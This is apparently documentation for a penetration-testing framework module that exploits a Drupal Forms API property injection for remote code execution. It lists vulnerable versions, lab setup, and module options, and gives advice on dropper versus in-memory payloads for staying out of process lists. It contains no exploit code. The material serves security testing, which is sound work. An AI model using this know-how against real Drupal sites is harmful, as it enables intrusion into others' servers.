Introduction
This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.
Setup
Use the provided Docker images here: https://hub.docker.com/_/drupal/.
Alternatively, you may use TurnKey Linux's distributions:
Drupal 7.54: http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal7-14.2-jessie-amd64.iso Drupal 8.3.1: http://mirror.turnkeylinux.org/turnkeylinux/images/iso/turnkey-drupal8-14.2-jessie-amd64.iso
Tested on 7.57 and 8.4.5 in Docker and 7.54 and 8.3.1 in TurnKey.

Automatic targeting means the Drupal version will be detected first. Targets with a specific version will do as they're told (regardless of what the server is running).
Dropper targets write to disk. In-memory targets don't. Be mindful of showing up in someone's process list, though. A dropper might be more viable in that regard.
Options
TARGETURI
Set this to the remote path of the vulnerable Drupal install. Defaults to / for the web root.
PHP_FUNC
Set this to the PHP function you'd like to execute. Defaults to passthru.
DUMP_OUTPUT
Enable this if you'd like to see HTTP responses, including command output. Defaults to false unless cmd/unix/generic is your payload.
VERBOSE
Enable this to show what function and command were executed. Defaults to false due to the sometimes excessive output.
ForceExploit
Enable this to force exploitation regardless of the check result. Defaults to false, meaning the check result is respected.
WritableDir
Set this to a writable directory without noexec for binary payloads. Defaults to /tmp, but other options may include /var/tmp and /dev/shm.
Usage
Drupal 7.57 from the Docker image is tested below.
